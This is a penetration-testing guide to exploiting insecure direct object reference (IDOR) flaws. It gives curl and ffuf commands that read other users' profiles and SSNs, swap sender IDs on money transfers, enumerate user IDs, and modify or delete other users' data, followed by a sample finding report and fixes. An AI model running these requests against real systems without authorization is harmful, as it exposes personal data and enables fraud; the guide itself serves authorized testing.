Exploiting Idor Vulnerabilities

Exploiting IDOR Vulnerabilities

When to Use

• During authorized penetration tests when testing access control on resource endpoints
• When APIs or web pages use predictable identifiers (numeric IDs, UUIDs, slugs) in URLs or request bodies
• For validating that object-level authorization is enforced across all CRUD operations
• When testing multi-tenant applications where users should only access their own data
• During bug bounty programs targeting broken access control vulnerabilities

Prerequisites

• Authorization: Written penetration testing agreement for the target application
• Burp Suite Professional: With Authorize extension installed from BApp Store
• Two test accounts: At least two separate user accounts with different permission levels
• Burp Authorize Extension: For automated IDOR testing across sessions
• curl/httpie: For manual request crafting
• Browser: Configured to proxy through Burp Suite

Critical: Checks Most Often Missed

IDORs are missed when only the obvious /users/{id} numeric swap is tried. For every object reference, work through this checklist:

• Unauthenticated access: replay the request with NO cookie / NO token. APIs frequently leak objects entirely without auth — this is the single most missed IDOR and the easiest to confirm.
• Every object reference, every method: path IDs, query params (?id=, ?user_id=), body fields, JSON nested IDs, and headers. Test GET, POST, PUT, PATCH, and DELETE — read may be locked while write is not.
• All ID encodings: numeric ±1 neighbours, UUIDs (try a second account's real UUID), base64 (MTAx=101), hashed IDs, and slugs. Decode/re-encode to enumerate.
• Two-account differential (the reliable confirmation): request User B's object with User A's session. Same data returned for both users = IDOR. Without a second account, register/obtain one — guessing IDs alone yields false positives.
• Indirect & wrapper tricks: parameter pollution (?id=101&id=102), arrays/bulk ({"ids":[101,102]}), wrapping a value in [] or {}, changing Content-Type to JSON, and appending .json/.xml to force an alternate handler that skips authorization.
• Method/parameter override: add X-HTTP-Method-Override: GET, _method=PUT, or path tricks (;, ..;/, trailing /) that route past the access-control check.
• Confirm impact: enumerate a small range to prove scale, record exactly which sensitive fields leak (email, phone, tokens, PII), and never modify or delete real user data — use known test objects for write IDORs.

Identify every endpoint that references objects by ID across the application.

# Browse the application through Burp proxy with User A
# Review Burp Target > Site Map for endpoints with object references

# Common IDOR-prone endpoints to look for:
# GET /api/users/{id}
# GET /api/orders/{id}
# GET /api/invoices/{id}/download
# PUT /api/users/{id}/profile
# DELETE /api/posts/{id}
# GET /api/documents/{id}
# GET /api/messages/{conversation_id}

# Extract all endpoints with IDs from Burp proxy history
# Burp > Proxy > HTTP History > Filter by target domain
# Look for patterns: /resource/123, ?id=123, {"user_id": 123}

# Check different ID formats:
# Numeric sequential: /users/101, /users/102
# UUID: /users/550e8400-e29b-41d4-a716-446655440000
# Base64 encoded: /users/MTAx (decodes to "101")
# Hashed: /users/5d41402abc4b2a76b9719d911017c592
# Slug: /users/john-doe

Step 2: Configure Burp Authorize Extension for Automated Testing

Set up the Authorize extension to automatically replay requests with a different user's session.

# Install Authorize from BApp Store:
# Burp > Extender > BApp Store > Search "Authorize" > Install

# Configuration:
# 1. Log in as User B (victim) in a separate browser/incognito
# 2. Copy User B's session cookie/authorization header
# 3. In Authorize tab > Configuration:
#    - Add User B's cookies in "Replace cookies" section
#    - Or add User B's Authorization header in "Replace headers"

# Example header replacement:
# Original (User A): Authorization: Bearer <token_A>
# Replace with (User B): Authorization: Bearer <token_B>

# 4. Enable "Intercept requests from Repeater"
# 5. Enable "Intercept requests from Proxy"

# Authorize will show:
# - Green: Properly restricted (different response for different user)
# - Red: Potentially vulnerable (same response regardless of user)
# - Orange: Uncertain (needs manual verification)

Step 3: Test Horizontal IDOR (Same Privilege Level)

Attempt to access resources belonging to another user at the same privilege level.

# Authenticate as User A (ID: 101)
TOKEN_A="Bearer eyJ..."

# Get User A's own resources
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/101/profile" | jq .

# Attempt to access User B's resources (ID: 102) with User A's token
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/102/profile" | jq .

# Compare responses - if both return 200 with data, IDOR is confirmed

# Test across different resource types
for resource in profile orders invoices messages documents; do
  echo "--- Testing $resource ---"
  # User A's resource
  curl -s -o /dev/null -w "Own: %{http_code} " \
    -H "Authorization: $TOKEN_A" \
    "https://target.example.com/api/v1/users/101/$resource"
  # User B's resource
  curl -s -o /dev/null -w "Other: %{http_code}\n" \
    -H "Authorization: $TOKEN_A" \
    "https://target.example.com/api/v1/users/102/$resource"
done

# Test with POST/PUT/DELETE for write-based IDOR
curl -s -X PUT -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"name":"Hacked"}' \
  "https://target.example.com/api/v1/users/102/profile"

Step 4: Test Vertical IDOR (Cross Privilege Level)

Attempt to access admin or elevated resources with a regular user token.

# As regular user, try accessing admin user profiles
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/1/profile" | jq .

# Try accessing admin-specific resources
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/admin/reports/1" | jq .

# Test accessing resources across organizational boundaries
# User in Org A trying to access Org B's resources
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/organizations/2/settings" | jq .

# Test file download IDOR
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/invoices/999/download" -o test.pdf
file test.pdf

Step 5: Test IDOR in Non-Obvious Locations

Look for IDOR in request bodies, headers, and indirect references.

# IDOR in request body parameters
curl -s -X POST -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"sender_id": 101, "recipient_id": 102, "amount": 1}' \
  "https://target.example.com/api/v1/transfers"

# Change sender_id to another user
curl -s -X POST -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"sender_id": 102, "recipient_id": 101, "amount": 1000}' \
  "https://target.example.com/api/v1/transfers"

# IDOR in file references
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/files?path=/users/102/documents/secret.pdf"

# IDOR in GraphQL
curl -s -X POST -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user(id: 102) { email phone ssn } }"}' \
  "https://target.example.com/graphql"

# IDOR via parameter pollution
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/101/profile?user_id=102"

# IDOR in bulk operations
curl -s -X POST -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"ids": [101, 102, 103, 104, 105]}' \
  "https://target.example.com/api/v1/users/bulk"

Step 6: Enumerate and Escalate Impact

Determine the full scope of data exposure through IDOR.

# Enumerate valid object IDs
ffuf -u "https://target.example.com/api/v1/users/FUZZ/profile" \
  -w <(seq 1 500) \
  -H "Authorization: $TOKEN_A" \
  -mc 200 -t 10 -rate 20 \
  -o valid-users.json -of json

# Count total accessible records
jq '.results | length' valid-users.json

# Check what sensitive data is exposed per record
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/102/profile" | \
  jq 'keys'
# Look for: email, phone, address, ssn, payment_info, password_hash

# Test IDOR on state-changing operations
# Can User A delete User B's resources?
curl -s -X DELETE -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/102/posts/1" \
  -w "%{http_code}"
# WARNING: Only test DELETE on known test data, never on real user data

How to CONFIRM a Hit (avoid false negatives)

A true-positive IDOR needs proof you accessed another principal's object, not just a 200:

• Two-account differential (definitive): request User B's object id with User A's session and confirm the response returns User B's data (match a unique field — B's email, order total, UUID). Identical data for both users = confirmed IDOR.
• Unauthenticated access: replay with NO cookie/token; if the object still returns, that's a confirmed (and higher-severity) IDOR.
• Write IDOR: the state-change actually persists on the victim object (re-read it as User B to verify), not just an accepted 200.
• Scale: enumerate a small id range to prove it's systemic, and record exactly which sensitive fields leak.

Do not conclude "not vulnerable" after the obvious numeric {id} swap returns 403. Before giving up you MUST also try: UUID/base64/hash-encoded ids, the id in query/body/header/JSON-nested positions, every method (GET/POST/PUT/PATCH/DELETE), parameter pollution (?id=A&id=B), array/bulk wrappers, and appending .json/.xml or a method-override header — authorization is frequently enforced on one representation but not another.

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: Invoice Download IDOR

The /invoices/{id}/download endpoint generates PDF invoices. By incrementing the invoice ID, any authenticated user can download invoices belonging to other customers, exposing billing addresses and payment details.

Scenario 2: User Profile Data Leak

The /api/users/{id} endpoint returns full user profiles including email, phone, and address. The API only checks if the request has a valid token but never verifies whether the token owner matches the requested user ID.

Scenario 3: File Access via Path Manipulation

A document management system stores files at /files/{user_id}/{filename}. By changing the user_id path segment, users can access private documents uploaded by other users.

Scenario 4: Message Thread Hijacking

A messaging endpoint at /api/conversations/{id}/messages allows any authenticated user to read messages in any conversation by changing the conversation ID.

Output Format

## IDOR Vulnerability Finding

**Vulnerability**: Insecure Direct Object Reference (Horizontal IDOR)
**Severity**: High (CVSS 7.5)
**Location**: GET /api/v1/users/{id}/profile
**OWASP Category**: A01:2021 - Broken Access Control

### Reproduction Steps
1. Authenticate as User A (ID: 101) and obtain JWT token
2. Send GET /api/v1/users/101/profile with User A's token (returns own profile)
3. Change the ID to 102: GET /api/v1/users/102/profile with User A's token
4. Observe that User B's full profile is returned including PII

### Affected Endpoints
| Endpoint | Method | Impact |
|----------|--------|--------|
| /api/v1/users/{id}/profile | GET | Read PII of any user |
| /api/v1/users/{id}/orders | GET | Read order history of any user |
| /api/v1/users/{id}/profile | PUT | Modify profile of any user |
| /api/v1/invoices/{id}/download | GET | Download any user's invoices |

### Impact
- 15,000+ user profiles accessible (enumerated IDs 1-15247)
- Exposed fields: name, email, phone, address, date_of_birth
- Write IDOR allows profile modification of other users
- Violates GDPR data access controls

### Recommendation
1. Implement object-level authorization: verify the requesting user owns or has permission to access the requested object
2. Use non-enumerable identifiers (UUIDv4) as a defense-in-depth measure
3. Log and alert on sequential ID enumeration patterns
4. Implement rate limiting on resource endpoints